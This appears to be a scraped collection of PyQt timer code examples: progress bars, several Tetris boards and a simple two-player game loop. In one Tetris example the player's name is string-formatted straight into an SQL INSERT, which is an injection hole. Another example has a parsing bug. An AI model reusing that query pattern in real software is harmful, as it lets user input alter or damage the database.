        self.progressBar.setGeometry(30, 40, 200, 25)

        self.button = QPushButton('Start', self)
        self.button.move(40, 80)
        self.button.clicked.connect(self.doAction)

        self.timer = QBasicTimer()
        self.step = 0

        self.setGeometry(500, 300, 280, 170)
        self.setWindowTitle("QProgressBar")
        self.show()

    def timerEvent(self, e):
        if self.step >= 100:
            self.timer.stop()
            self.button.setText('Finished')
            return

        self.step = self.step + 1
        self.progressBar.setValue(self.step)

    def doAction(self):
        if self.timer.isActive():
            self.timer.stop()
            self.button.setText('Start')
        else:
            self.timer.start(100, self)
            self.button.setText('Stop')
Exemple #42
0
class Example(QWidget):
    def __init__(self):
        super().__init__()
        self.initUI()

    def initUI(self):
        self.pbar = QProgressBar(self)
        self.pbar.setGeometry(30, 40, 200, 25)

        self.btn = QPushButton('Поехали', self)
        self.btn.move(40, 80)
        self.btn.clicked.connect(self.doAction)

        self.timer = QBasicTimer()
        self.step = 0

        self.setGeometry(300, 300, 280, 170)
        self.setWindowTitle('Твоя жизнь')
        self.show()

    def timerEvent(self, e):
        if self.step >= 100:
            self.timer.stop()
            self.btn.setText('Мертв')
            return

        self.step = self.step + 1
        self.pbar.setValue(self.step)

    def doAction(self):
        if self.timer.isActive():
            self.timer.stop()
            self.btn.setText('Поехали')
        else:
            self.timer.start(50, self)
            self.btn.setText('Пауза')
Exemple #43
0
class MyApp(QWidget):
    def __init__(self):
        super().__init__()
        self.initUI()

    def initUI(self):
        self.pbar = QProgressBar(self)  # 진행 표시줄 만들기
        self.pbar.setGeometry(30, 40, 200, 25)

        self.btn = QPushButton('Start', self)
        self.btn.move(40, 80)
        self.btn.clicked.connect(self.doAction)

        self.timer = QBasicTimer()  # 진행 표시줄 활성화를 위해 타이머 객체를 사용
        self.step = 0

        self.setWindowTitle('')
        self.setGeometry(500, 500, 400, 200)
        self.show()

    def timerEvent(self, e):
        if self.step >= 100:
            self.timer.stop()
            self.btn.setText('Finished')
            return

        self.step += 1
        self.pbar.setValue(self.step)

    def doAction(self):
        if self.timer.isActive():
            self.timer.stop()
            self.btn.setText('Start')
        else:
            self.timer.start(100, self)  # start(종료 시간, 이벤트가수행될객체)
            self.btn.setText('Stop')
Exemple #44
0
class MyApp(QWidget):
    def __init__(self, *args, **kwargs):
        super(MyApp, self).__init__(*args, **kwargs)

        self.initUI()

    def initUI(self):
        self.pbar = QProgressBar(self)
        self.pbar.setGeometry(30, 40, 200, 25)

        self.btn = QPushButton('Start', self)
        self.btn.move(40, 80)
        self.btn.clicked.connect(self.doAction)

        self.timer = QBasicTimer()
        self.step = 0

        self.setWindowTitle('QProgressBar')
        self.setGeometry(300, 300, 300, 200)
        self.show()

    def timerEvent(self, e):
        if self.step >= 100:
            self.timer.stop()
            self.btn.setText('Finished')
            return
        self.step = self.step + 1
        self.pbar.setValue(self.step)

    def doAction(self):
        if self.timer.isActive():
            self.timer.stop()
            self.btn.setText('Start')
        else:
            self.timer.start(100, self)
            self.btn.setText('Stop')
class MainWindow(QWidget):
    def __init__(self):
        super().__init__()
        self.initUI()

    def initUI(self):
        self.pbar = QProgressBar(self)
        self.pbar.setGeometry(30, 40, 200, 25)

        self.btn = QPushButton('Start', self)
        self.btn.move(40, 80)
        self.btn.clicked.connect(self.doAction)

        self.timer = QBasicTimer()  # 创建定时器对象,用于激活进度条
        self.step = 0  # 进度条步进值

        self.setGeometry(300, 300, 250, 150)
        self.setWindowTitle('ProgressBar')
        self.show()

    def timerEvent(self, event):  # 定时器事件处理
        if self.step >= 100:
            self.timer.stop()
            self.btn.setText('Finished')
            return

        self.step = self.step + 1
        self.pbar.setValue(self.step)

    def doAction(self):
        if self.timer.isActive():
            self.timer.stop()
            self.btn.setText('Start')
        else:
            self.timer.start(100, self)  # 开启定时器,参数:定时时间和接收定时器事件对象
            self.btn.setText('Stop')
Exemple #46
0
    def __init__(self, parent, difficulty=config.DIFF_EASY, length=None, arrange_mech=None, cheats_on=False):
        super().__init__(parent)

        sb_scales = (1, 2, 0)
        self.statusbar = self.parent().statusBar()
        self.status_labels = []
        for i in range(3):
            self.status_labels.append(QLabel())
            self.statusbar.addWidget(self.status_labels[i], sb_scales[i])

        self.cheats_on = cheats_on
        self.start_time = None
        self.speed = 0
        self.isStarted = False
        self.isPaused = False
        self.sp_interval = 1
        self.engine = engine.Engine(config.BoxWidth, config.BoxHeight, boa_size=length, arrange_mech=arrange_mech)
        self.set_difficulty(difficulty)
        self.timer = QBasicTimer()
        self.acc_timer = QBasicTimer()
        self.spark_timer = QBasicTimer()
        self.setFocusPolicy(Qt.StrongFocus)
Exemple #47
0
class TetrixBoard(QFrame):
    BoardWidth = 10
    BoardHeight = 22

    scoreChanged = pyqtSignal(int)

    levelChanged = pyqtSignal(int)

    linesRemovedChanged = pyqtSignal(int)

    def __init__(self, parent=None):
        super(TetrixBoard, self).__init__(parent)

        self.timer = QBasicTimer()
        self.nextPieceLabel = None
        self.isWaitingAfterLine = False
        self.curPiece = TetrixPiece()
        self.nextPiece = TetrixPiece()
        self.curX = 0
        self.curY = 0
        self.numLinesRemoved = 0
        self.numPiecesDropped = 0
        self.score = 0
        self.level = 0
        self.board = None

        self.setFrameStyle(QFrame.Panel | QFrame.Sunken)
        self.setFocusPolicy(Qt.StrongFocus)
        self.isStarted = False
        self.isPaused = False
        self.clearBoard()

        self.nextPiece.setRandomShape()

    def shapeAt(self, x, y):
        return self.board[(y * TetrixBoard.BoardWidth) + x]

    def setShapeAt(self, x, y, shape):
        self.board[(y * TetrixBoard.BoardWidth) + x] = shape   

    def timeoutTime(self):
        return 1000 / (1 + self.level)

    def squareWidth(self):
        return self.contentsRect().width() / TetrixBoard.BoardWidth

    def squareHeight(self):
        return self.contentsRect().height() / TetrixBoard.BoardHeight

    def setNextPieceLabel(self, label):
        self.nextPieceLabel = label

    def sizeHint(self):
        return QSize(TetrixBoard.BoardWidth * 15 + self.frameWidth() * 2,
                TetrixBoard.BoardHeight * 15 + self.frameWidth() * 2)

    def minimumSizeHint(self):
        return QSize(TetrixBoard.BoardWidth * 5 + self.frameWidth() * 2,
                TetrixBoard.BoardHeight * 5 + self.frameWidth() * 2)

    def start(self):
        if self.isPaused:
            return

        self.isStarted = True
        self.isWaitingAfterLine = False
        self.numLinesRemoved = 0
        self.numPiecesDropped = 0
        self.score = 0
        self.level = 1
        self.clearBoard()

        self.linesRemovedChanged.emit(self.numLinesRemoved)
        self.scoreChanged.emit(self.score)
        self.levelChanged.emit(self.level)

        self.newPiece()
        self.timer.start(self.timeoutTime(), self)

    def pause(self):
        if not self.isStarted:
            return

        self.isPaused = not self.isPaused
        if self.isPaused:
            self.timer.stop()
        else:
            self.timer.start(self.timeoutTime(), self)

        self.update()

    def paintEvent(self, event):
        super(TetrixBoard, self).paintEvent(event)

        painter = QPainter(self)
        rect = self.contentsRect()

        if self.isPaused:
            painter.drawText(rect, Qt.AlignCenter, "Pause")
            return

        boardTop = rect.bottom() - TetrixBoard.BoardHeight * self.squareHeight()

        for i in range(TetrixBoard.BoardHeight):
            for j in range(TetrixBoard.BoardWidth):
                shape = self.shapeAt(j, TetrixBoard.BoardHeight - i - 1)
                if shape != NoShape:
                    self.drawSquare(painter,
                            rect.left() + j * self.squareWidth(),
                            boardTop + i * self.squareHeight(), shape)

        if self.curPiece.shape() != NoShape:
            for i in range(4):
                x = self.curX + self.curPiece.x(i)
                y = self.curY - self.curPiece.y(i)
                self.drawSquare(painter, rect.left() + x * self.squareWidth(),
                        boardTop + (TetrixBoard.BoardHeight - y - 1) * self.squareHeight(),
                        self.curPiece.shape())

    def keyPressEvent(self, event):
        if not self.isStarted or self.isPaused or self.curPiece.shape() == NoShape:
            super(TetrixBoard, self).keyPressEvent(event)
            return

        key = event.key()
        if key == Qt.Key_Left:
            self.tryMove(self.curPiece, self.curX - 1, self.curY)
        elif key == Qt.Key_Right:
            self.tryMove(self.curPiece, self.curX + 1, self.curY)
        elif key == Qt.Key_Down:
            self.tryMove(self.curPiece.rotatedRight(), self.curX, self.curY)
        elif key == Qt.Key_Up:
            self.tryMove(self.curPiece.rotatedLeft(), self.curX, self.curY)
        elif key == Qt.Key_Space:
            self.dropDown()
        elif key == Qt.Key_D:
            self.oneLineDown()
        else:
            super(TetrixBoard, self).keyPressEvent(event)

    def timerEvent(self, event):
        if event.timerId() == self.timer.timerId():
            if self.isWaitingAfterLine:
                self.isWaitingAfterLine = False
                self.newPiece()
                self.timer.start(self.timeoutTime(), self)
            else:
                self.oneLineDown()
        else:
            super(TetrixBoard, self).timerEvent(event)

    def clearBoard(self):
        self.board = [NoShape for i in range(TetrixBoard.BoardHeight * TetrixBoard.BoardWidth)]

    def dropDown(self):
        dropHeight = 0
        newY = self.curY
        while newY > 0:
            if not self.tryMove(self.curPiece, self.curX, newY - 1):
                break
            newY -= 1
            dropHeight += 1

        self.pieceDropped(dropHeight)

    def oneLineDown(self):
        if not self.tryMove(self.curPiece, self.curX, self.curY - 1):
            self.pieceDropped(0)

    def pieceDropped(self, dropHeight):
        for i in range(4):
            x = self.curX + self.curPiece.x(i)
            y = self.curY - self.curPiece.y(i)
            self.setShapeAt(x, y, self.curPiece.shape())

        self.numPiecesDropped += 1
        if self.numPiecesDropped % 25 == 0:
            self.level += 1
            self.timer.start(self.timeoutTime(), self)
            self.levelChanged.emit(self.level)

        self.score += dropHeight + 7
        self.scoreChanged.emit(self.score)
        self.removeFullLines()

        if not self.isWaitingAfterLine:
            self.newPiece()

    def removeFullLines(self):
        numFullLines = 0

        for i in range(TetrixBoard.BoardHeight - 1, -1, -1):
            lineIsFull = True

            for j in range(TetrixBoard.BoardWidth):
                if self.shapeAt(j, i) == NoShape:
                    lineIsFull = False
                    break

            if lineIsFull:
                numFullLines += 1
                for k in range(TetrixBoard.BoardHeight - 1):
                    for j in range(TetrixBoard.BoardWidth):
                        self.setShapeAt(j, k, self.shapeAt(j, k + 1))

                for j in range(TetrixBoard.BoardWidth):
                    self.setShapeAt(j, TetrixBoard.BoardHeight - 1, NoShape)

        if numFullLines > 0:
            self.numLinesRemoved += numFullLines
            self.score += 10 * numFullLines
            self.linesRemovedChanged.emit(self.numLinesRemoved)
            self.scoreChanged.emit(self.score)

            self.timer.start(500, self)
            self.isWaitingAfterLine = True
            self.curPiece.setShape(NoShape)
            self.update()

    def newPiece(self):
        self.curPiece = copy.deepcopy(self.nextPiece)
        self.nextPiece.setRandomShape()
        self.showNextPiece()
        self.curX = TetrixBoard.BoardWidth // 2 + 1
        self.curY = TetrixBoard.BoardHeight - 1 + self.curPiece.minY()

        if not self.tryMove(self.curPiece, self.curX, self.curY):
            self.curPiece.setShape(NoShape)
            self.timer.stop()
            self.isStarted = False

    def showNextPiece(self):
        if self.nextPieceLabel is None:
            return

        dx = self.nextPiece.maxX() - self.nextPiece.minX() + 1
        dy = self.nextPiece.maxY() - self.nextPiece.minY() + 1

        pixmap = QPixmap(dx * self.squareWidth(), dy * self.squareHeight())
        painter = QPainter(pixmap)
        painter.fillRect(pixmap.rect(), self.nextPieceLabel.palette().window())

        for i in range(4):
            x = self.nextPiece.x(i) - self.nextPiece.minX()
            y = self.nextPiece.y(i) - self.nextPiece.minY()
            self.drawSquare(painter, x * self.squareWidth(),
                    y * self.squareHeight(), self.nextPiece.shape())

        painter.end()

        self.nextPieceLabel.setPixmap(pixmap)

    def tryMove(self, newPiece, newX, newY):
        for i in range(4):
            x = newX + newPiece.x(i)
            y = newY - newPiece.y(i)
            if x < 0 or x >= TetrixBoard.BoardWidth or y < 0 or y >= TetrixBoard.BoardHeight:
                return False
            if self.shapeAt(x, y) != NoShape:
                return False

        self.curPiece = newPiece
        self.curX = newX
        self.curY = newY
        self.update()
        return True

    def drawSquare(self, painter, x, y, shape):
        colorTable = [0x000000, 0xCC6666, 0x66CC66, 0x6666CC,
                      0xCCCC66, 0xCC66CC, 0x66CCCC, 0xDAAA00]

        color = QColor(colorTable[shape])
        painter.fillRect(x + 1, y + 1, self.squareWidth() - 2,
                self.squareHeight() - 2, color)

        painter.setPen(color.lighter())
        painter.drawLine(x, y + self.squareHeight() - 1, x, y)
        painter.drawLine(x, y, x + self.squareWidth() - 1, y)

        painter.setPen(color.darker())
        painter.drawLine(x + 1, y + self.squareHeight() - 1,
                x + self.squareWidth() - 1, y + self.squareHeight() - 1)
        painter.drawLine(x + self.squareWidth() - 1,
                y + self.squareHeight() - 1, x + self.squareWidth() - 1, y + 1)
Exemple #48
0
        class Board(QFrame):

            msg2Statusbar = pyqtSignal(str)

            BoardWidth = 10
            BoardHeight = 22
            Speed = 300

            def __init__(self, parent):
                super().__init__(parent)

                self.initBoard()

            def initBoard(self):

                self.timer = QBasicTimer()
                self.isWaitingAfterLine = False

                self.curX = 0
                self.curY = 0
                self.numLinesRemoved = 0
                self.board = []

                self.setFocusPolicy(Qt.StrongFocus)
                self.isStarted = False
                self.isPaused = False
                self.clearBoard()

            def shapeAt(self, x, y):
                return self.board[(y * Board.BoardWidth) + x]

            def setShapeAt(self, x, y, shape):
                self.board[(y * Board.BoardWidth) + x] = shape

            def squareWidth(self):
                return self.contentsRect().width() // Board.BoardWidth

            def squareHeight(self):
                return self.contentsRect().height() // Board.BoardHeight

            def start(self):

                if self.isPaused:
                    return

                self.isStarted = True
                self.isWaitingAfterLine = False
                self.numLinesRemoved = 0
                self.clearBoard()

                self.msg2Statusbar.emit(str(self.numLinesRemoved))

                self.newPiece()
                self.timer.start(Board.Speed, self)

            def pause(self):

                if not self.isStarted:
                    return

                self.isPaused = not self.isPaused

                if self.isPaused:
                    self.timer.stop()
                    self.msg2Statusbar.emit("paused")

                else:
                    self.timer.start(Board.Speed, self)
                    self.msg2Statusbar.emit(str(self.numLinesRemoved))

                self.update()

            def paintEvent(self, event):

                painter = QPainter(self)
                rect = self.contentsRect()

                boardTop = rect.bottom(
                ) - Board.BoardHeight * self.squareHeight()

                for i in range(Board.BoardHeight):
                    for j in range(Board.BoardWidth):
                        shape = self.shapeAt(j, Board.BoardHeight - i - 1)

                        if shape != Tetrominoe.NoShape:
                            self.drawSquare(
                                painter,
                                rect.left() + j * self.squareWidth(),
                                boardTop + i * self.squareHeight(), shape)

                if self.curPiece.shape() != Tetrominoe.NoShape:

                    for i in range(4):
                        x = self.curX + self.curPiece.x(i)
                        y = self.curY - self.curPiece.y(i)
                        self.drawSquare(
                            painter,
                            rect.left() + x * self.squareWidth(), boardTop +
                            (Board.BoardHeight - y - 1) * self.squareHeight(),
                            self.curPiece.shape())

            def keyPressEvent(self, event):

                if not self.isStarted or self.curPiece.shape(
                ) == Tetrominoe.NoShape:
                    super(Board, self).keyPressEvent(event)
                    return

                key = event.key()

                if key == Qt.Key_P:
                    self.pause()
                    return

                if self.isPaused:
                    return

                elif key == Qt.Key_Left:
                    self.tryMove(self.curPiece, self.curX - 1, self.curY)

                elif key == Qt.Key_Right:
                    self.tryMove(self.curPiece, self.curX + 1, self.curY)

                elif key == Qt.Key_Down:
                    self.tryMove(self.curPiece.rotateRight(), self.curX,
                                 self.curY)

                elif key == Qt.Key_Up:
                    self.tryMove(self.curPiece.rotateLeft(), self.curX,
                                 self.curY)

                elif key == Qt.Key_Space:
                    self.dropDown()

                elif key == Qt.Key_D:
                    self.oneLineDown()

                else:
                    super(Board, self).keyPressEvent(event)

            def timerEvent(self, event):

                if event.timerId() == self.timer.timerId():

                    if self.isWaitingAfterLine:
                        self.isWaitingAfterLine = False
                        self.newPiece()
                    else:
                        self.oneLineDown()

                else:
                    super(Board, self).timerEvent(event)

            def clearBoard(self):

                for i in range(Board.BoardHeight * Board.BoardWidth):
                    self.board.append(Tetrominoe.NoShape)

            def dropDown(self):

                newY = self.curY

                while newY > 0:

                    if not self.tryMove(self.curPiece, self.curX, newY - 1):
                        break

                    newY -= 1

                self.pieceDropped()

            def oneLineDown(self):

                if not self.tryMove(self.curPiece, self.curX, self.curY - 1):
                    self.pieceDropped()

            def pieceDropped(self):

                for i in range(4):
                    x = self.curX + self.curPiece.x(i)
                    y = self.curY - self.curPiece.y(i)
                    self.setShapeAt(x, y, self.curPiece.shape())

                self.removeFullLines()

                if not self.isWaitingAfterLine:
                    self.newPiece()

            def removeFullLines(self):

                numFullLines = 0
                rowsToRemove = []

                for i in range(Board.BoardHeight):

                    n = 0
                    for j in range(Board.BoardWidth):
                        if not self.shapeAt(j, i) == Tetrominoe.NoShape:
                            n = n + 1

                    if n == 10:
                        rowsToRemove.append(i)

                rowsToRemove.reverse()

                for m in rowsToRemove:

                    for k in range(m, Board.BoardHeight):
                        for l in range(Board.BoardWidth):
                            self.setShapeAt(l, k, self.shapeAt(l, k + 1))

                numFullLines = numFullLines + len(rowsToRemove)

                if numFullLines >= 0:
                    self.numLinesRemoved = self.numLinesRemoved + numFullLines
                    self.ourScore = self.numLinesRemoved * 100
                    self.msg2Statusbar.emit(str(self.ourScore))
                    self.isWaitingAfterLine = True
                    self.curPiece.setShape(Tetrominoe.NoShape)
                    self.update()

            def newPiece(self):

                self.curPiece = Shape()
                self.curPiece.setRandomShape()
                self.curX = Board.BoardWidth // 2 + 1
                self.curY = Board.BoardHeight - 1 + self.curPiece.minY()
                if not self.tryMove(self.curPiece, self.curX, self.curY):
                    self.curPiece.setShape(Tetrominoe.NoShape)
                    self.timer.stop()
                    self.isStarted = False
                    self.msg2Statusbar.emit("Игра окончена")

                    root = Tk()
                    root.geometry("400x400")
                    root.title("Игра окончена")
                    v = StringVar()
                    text1 = Label(width=50,
                                  height=2,
                                  font='Arial 12',
                                  text="Игра окончена, вы заработали " +
                                  str(self.ourScore) + " очков.")
                    text2 = Label(width=50,
                                  height=2,
                                  font='Arial 12',
                                  text="Пожалуйста укажите свое имя:")
                    mylogin = Entry(textvariable=v, width=30)
                    button1 = Button(
                        width=30,
                        height=5,
                        text="Сохранить результат",
                        font='Arial 12',
                        command=lambda: login(mylogin.get(), self.ourScore))
                    button2 = Button(width=30,
                                     height=5,
                                     text="Выйти без сохранения",
                                     font='Arial 12',
                                     command=lambda: closing())
                    text1.pack(side=TOP)
                    text2.pack(side=TOP)
                    mylogin.pack(side=TOP)
                    button1.pack(side=TOP)
                    button2.pack(side=TOP)

                    def login(username, userscore):
                        c.execute(
                            "INSERT INTO records (name,score) VALUES ('%s','%s')"
                            % (str(username), userscore))
                        conn.commit()
                        messagebox.showinfo("Сохранение",
                                            "Ваш результат успешно сохранен.")
                        c.close()
                        conn.close()
                        sys.exit()

                    def closing():
                        if messagebox.askokcancel(
                                "Выход", "Вы действительно хотите выйти?"):
                            root.destroy()
                            sys.exit()

                    root.protocol("WM_DELETE_WINDOW", closing)

                    root.mainloop()

            def tryMove(self, newPiece, newX, newY):

                for i in range(4):

                    x = newX + newPiece.x(i)
                    y = newY - newPiece.y(i)

                    if x < 0 or x >= Board.BoardWidth or y < 0 or y >= Board.BoardHeight:
                        return False

                    if self.shapeAt(x, y) != Tetrominoe.NoShape:
                        return False

                self.curPiece = newPiece
                self.curX = newX
                self.curY = newY
                self.update()

                return True

            def drawSquare(self, painter, x, y, shape):

                colorTable = [
                    0x000000, 0xCC6666, 0x66CC66, 0x6666CC, 0xCCCC66, 0xCC66CC,
                    0x66CCCC, 0xDAAA00
                ]

                color = QColor(colorTable[shape])
                painter.fillRect(x + 1, y + 1,
                                 self.squareWidth() - 2,
                                 self.squareHeight() - 2, color)

                painter.setPen(color.lighter())
                painter.drawLine(x, y + self.squareHeight() - 1, x, y)
                painter.drawLine(x, y, x + self.squareWidth() - 1, y)

                painter.setPen(color.darker())
                painter.drawLine(x + 1, y + self.squareHeight() - 1,
                                 x + self.squareWidth() - 1,
                                 y + self.squareHeight() - 1)
                painter.drawLine(x + self.squareWidth() - 1,
                                 y + self.squareHeight() - 1,
                                 x + self.squareWidth() - 1, y + 1)
Exemple #49
0
class TetrisGame(QMainWindow):
	def __init__(self):
		super().__init__()
		# 是否暂停ing
		self.is_paused = False
		# 是否开始ing
		self.is_started = False
		self.initUI()
	'''界面初始化'''
	def initUI(self):
		# 块大小
		self.grid_size = 22
		# 游戏帧率
		self.fps = 100
		self.timer = QBasicTimer()
		# 焦点
		self.setFocusPolicy(Qt.StrongFocus)
		# 水平布局
		layout_horizontal = QHBoxLayout()
		self.inner_board = InnerBoard()
		self.external_board = ExternalBoard(self, self.grid_size, self.inner_board)
		layout_horizontal.addWidget(self.external_board)
		self.side_panel = SidePanel(self, self.grid_size, self.inner_board)
		layout_horizontal.addWidget(self.side_panel)
		self.status_bar = self.statusBar()
		self.external_board.score_signal[str].connect(self.status_bar.showMessage)
		self.start()
		self.center()
		self.setWindowTitle('Tetris-公众号:Charles的皮卡丘')
		self.show()
		self.setFixedSize(self.external_board.width() + self.side_panel.width(),
						  self.side_panel.height() + self.status_bar.height())
		# AI控制
		self.tetris_ai = TetrisAI(self.inner_board)
		self.next_action = None
		self.pre_tetris = tetrisShape().shape_empty
	'''游戏界面移动到屏幕中间'''
	def center(self):
		screen = QDesktopWidget().screenGeometry()
		size = self.geometry()
		self.move((screen.width() - size.width()) // 2, (screen.height() - size.height()) // 2)
	'''更新界面'''
	def updateWindow(self):
		self.external_board.updateData()
		self.side_panel.updateData()
		self.update()
	'''开始'''
	def start(self):
		if self.is_started:
			return
		self.is_started = True
		self.inner_board.createNewTetris()
		self.timer.start(self.fps, self)
	'''暂停/不暂停'''
	def pause(self):
		if not self.is_started:
			return
		self.is_paused = not self.is_paused
		if self.is_paused:
			self.timer.stop()
			self.external_board.score_signal.emit('Paused')
		else:
			self.timer.start(self.fps, self)
		self.updateWindow()
	'''计时器事件'''
	def timerEvent(self, event):
		if event.timerId() == self.timer.timerId():
			if not self.next_action:
				self.next_action = self.tetris_ai.getNextAction()
			if self.next_action:
				while self.inner_board.current_direction != self.next_action[0]:
					self.inner_board.rotateAnticlockwise()
				count = 0
				while self.inner_board.current_coord[0] != self.next_action[1] and count < 5:
					if self.inner_board.current_coord[0] > self.next_action[1]:
						self.inner_board.moveLeft()
					else:
						self.inner_board.moveRight()
					count += 1
			removed_lines = self.inner_board.moveDown()
			self.external_board.score += removed_lines
			if self.pre_tetris != self.inner_board.current_tetris:
				self.next_action = None
				self.pre_tetris = self.inner_board.current_tetris
			self.updateWindow()
		else:
			super(TetrisGame, self).timerEvent(event)
	'''按键事件'''
	def keyPressEvent(self, event):
		if not self.is_started or self.inner_board.current_tetris == tetrisShape().shape_empty:
			super(TetrisGame, self).keyPressEvent(event)
			return
		key = event.key()
		# P键暂停
		if key == Qt.Key_P:
			self.pause()
			return
		if self.is_paused:
			return
		else:
			super(TetrisGame, self).keyPressEvent(event)
		self.updateWindow()
Exemple #50
0
def calculatePositions(q: Queue, qResp: Queue):
    responseMsg = ''
    PositionXP1 = 50
    PositionXP2 = 700

    Weapon1Y = WINDOWHEIGHT - 80
    Weapon2Y = WINDOWHEIGHT - 80

    Player1Orientation = 'normal'
    Player2Orientation = 'normal'
    timer = QBasicTimer()
    while True:
        weaponInfo = '#'

        if not q.empty():
            rez = str(q.get())
            if rez == '1':
                responseMsg = str(WINDOWWIDTH / 2) + ',' + Player1Orientation
                PositionXP1 = int(responseMsg)
            elif rez == '2':
                #responseMsg = '50,700,' + Player1Orientation + ',' + Player2Orientation
                PositionXP1 = 50
                PositionXP2 = 700
            elif rez == '3':
                #responseMsg = '50,700,' + Player1Orientation + ',' + Player2Orientation
                PositionXP1 = 50
                PositionXP2 = 700

            else:
                if int(rez) == Qt.Key_Right:
                    Player1Orientation = 'right'
                    if PositionXP1 + PLAYER_SIZE < WINDOWWIDTH - 13:
                        PositionXP1 += 5
                        #responseMsg = str(PositionXP1) + ',' + str(PositionXP2) + ',' + Player1Orientation + ',' + Player2Orientation
                if int(rez) == Qt.Key_Left:
                    Player1Orientation = 'left'
                    if PositionXP1 - 5 > 20:
                        PositionXP1 -= 5
                        #responseMsg = str(PositionXP1) + ',' + str(PositionXP2) + ',' + Player1Orientation + ',' + Player2Orientation
                if int(rez) == Qt.Key_Space:
                    weaponInfo += '1,' + str(PositionXP1)
                    #responseMsg = str(PositionXP1) + ',' + str(PositionXP2) + ',' + Player1Orientation + ',' + Player2Orientation

                if int(rez) == Qt.Key_A:
                    Player2Orientation = 'left'
                    if PositionXP2 - 5 > 20:
                        PositionXP2 -= 5
                        #responseMsg = str(PositionXP1) + ',' + str(PositionXP2) + ',' + Player1Orientation + ',' + Player2Orientation
                if int(rez) == Qt.Key_D:
                    Player2Orientation = 'right'
                    if PositionXP2 + PLAYER_SIZE < WINDOWWIDTH - 13:
                        PositionXP2 += 5
                        #responseMsg = str(PositionXP1) + ',' + str(PositionXP2) + ',' + Player1Orientation + ',' + Player2Orientation
                if int(rez) == Qt.Key_Shift:
                    weaponInfo += '2,' + str(PositionXP2)
                if int(rez) == Qt.Key_Minus:
                    PositionXP1 = 50
                    PositionXP2 = 700
                    Player1Orientation = 'normal'
                    Player2Orientation = 'normal'

                    #responseMsg = str(PositionXP1) + ',' + str(PositionXP2) + ',' + Player1Orientation + ',' + Player2Orientation

            #s.Weapon1, Weapon1Y, s.Weapon2, Weapon2Y = updateWeapons(s.Weapon1, s.Weapon2, Weapon1Y, Weapon2Y)
            responseMsg = str(PositionXP1) + ',' + str(
                PositionXP2
            ) + ',' + Player1Orientation + ',' + Player2Orientation + weaponInfo
            #responseMsg += ',' + str(s.w1X) + ',' + str(s.w1Y) + ',' + str(s.w2X) + ',' + str(s.w2Y)

            qResp.put(responseMsg)
        else:
            #s.Weapon1, Weapon1Y, s.Weapon2, Weapon2Y = updateWeapons(s.Weapon1, s.Weapon2, Weapon1Y, Weapon2Y)

            responseMsg = str(PositionXP1) + ',' + str(
                PositionXP2
            ) + ',' + Player1Orientation + ',' + Player2Orientation + weaponInfo
            #responseMsg += ',' + str(s.w1X) + ',' + str(s.w1Y) + ',' + str(s.w2X) + ',' + str(s.w2Y)

            qResp.put(responseMsg)
            time.sleep(0.032)
Exemple #51
0
class TetrisGame(QMainWindow):
    def __init__(self):
        super().__init__()
        # 정지ing
        self.is_paused = False
        # 시작ing
        self.is_started = False
        self.initUI()

    '''인터페이스 초기화'''

    def initUI(self):
        # 테트리스 크기
        self.grid_size = 22
        # 게임 프레임률
        self.fps = 100
        self.timer = QBasicTimer()
        # 초점
        self.setFocusPolicy(Qt.StrongFocus)
        # 수평 배치
        layout_horizontal = QHBoxLayout()
        self.inner_board = InnerBoard()
        self.external_board = ExternalBoard(self, self.grid_size,
                                            self.inner_board)
        layout_horizontal.addWidget(self.external_board)
        self.side_panel = SidePanel(self, self.grid_size, self.inner_board)
        layout_horizontal.addWidget(self.side_panel)
        self.status_bar = self.statusBar()
        self.external_board.score_signal[str].connect(
            self.status_bar.showMessage)
        self.start()
        self.center()
        self.setWindowTitle
        self.show()
        self.setFixedSize(
            self.external_board.width() + self.side_panel.width(),
            self.side_panel.height() + self.status_bar.height())
        # AI 제어
        self.tetris_ai = TetrisAI(self.inner_board)
        self.next_action = None
        self.pre_tetris = tetrisShape().shape_empty

    '''게임 인터페이스가 화면 가운데로 이동'''

    def center(self):
        screen = QDesktopWidget().screenGeometry()
        size = self.geometry()
        self.move((screen.width() - size.width()) // 2,
                  (screen.height() - size.height()) // 2)

    '''업데이트 인터페이스'''

    def updateWindow(self):
        self.external_board.updateData()
        self.side_panel.updateData()
        self.update()

    '''시작'''

    def start(self):
        if self.is_started:
            return
        self.is_started = True
        self.inner_board.createNewTetris()
        self.timer.start(self.fps, self)

    '''일시정지/무정지'''

    def pause(self):
        if not self.is_started:
            return
        self.is_paused = not self.is_paused
        if self.is_paused:
            self.timer.stop()
            self.external_board.score_signal.emit('Paused')
        else:
            self.timer.start(self.fps, self)
        self.updateWindow()

    '''크로노그래프 사건'''

    def timerEvent(self, event):
        if event.timerId() == self.timer.timerId():
            if not self.next_action:
                self.next_action = self.tetris_ai.getNextAction()
            if self.next_action:
                while self.inner_board.current_direction != self.next_action[0]:
                    self.inner_board.rotateAnticlockwise()
                count = 0
                while self.inner_board.current_coord[0] != self.next_action[
                        1] and count < 5:
                    if self.inner_board.current_coord[0] > self.next_action[1]:
                        self.inner_board.moveLeft()
                    else:
                        self.inner_board.moveRight()
                    count += 1
            removed_lines = self.inner_board.moveDown()
            self.external_board.score += removed_lines
            if self.pre_tetris != self.inner_board.current_tetris:
                self.next_action = None
                self.pre_tetris = self.inner_board.current_tetris
            self.updateWindow()
        else:
            super(TetrisGame, self).timerEvent(event)

    '''버튼 '''

    def keyPressEvent(self, event):
        if not self.is_started or self.inner_board.current_tetris == tetrisShape(
        ).shape_empty:
            super(TetrisGame, self).keyPressEvent(event)
            return
        key = event.key()
        # P 키 타임
        if key == Qt.Key_P:
            self.pause()
            return
        if self.is_paused:
            return
        else:
            super(TetrisGame, self).keyPressEvent(event)
        self.updateWindow()
Exemple #52
0
class Board(QFrame):

    msg2Statusbar = pyqtSignal(str)

    BoardWidth = 10
    BoardHeight = 22
    Speed = 300

    def __init__(self, parent):
        super().__init__(parent)

        self.initBoard()


    def initBoard(self):

        self.timer = QBasicTimer()
        self.isWaitingAfterLine = False

        self.curX = 0
        self.curY = 0
        self.numLinesRemoved = 0
        self.board = []

        self.setFocusPolicy(Qt.StrongFocus)
        self.isStarted = False
        self.isPaused = False
        self.clearBoard()


    def shapeAt(self, x, y):
        return self.board[(y * Board.BoardWidth) + x]


    def setShapeAt(self, x, y, shape):
        self.board[(y * Board.BoardWidth) + x] = shape


    def squareWidth(self):
        return self.contentsRect().width() // Board.BoardWidth


    def squareHeight(self):
        return self.contentsRect().height() // Board.BoardHeight


    def start(self):

        if self.isPaused:
            return

        self.isStarted = True
        self.isWaitingAfterLine = False
        self.numLinesRemoved = 0
        self.clearBoard()

        self.msg2Statusbar.emit(str(self.numLinesRemoved))

        self.newPiece()
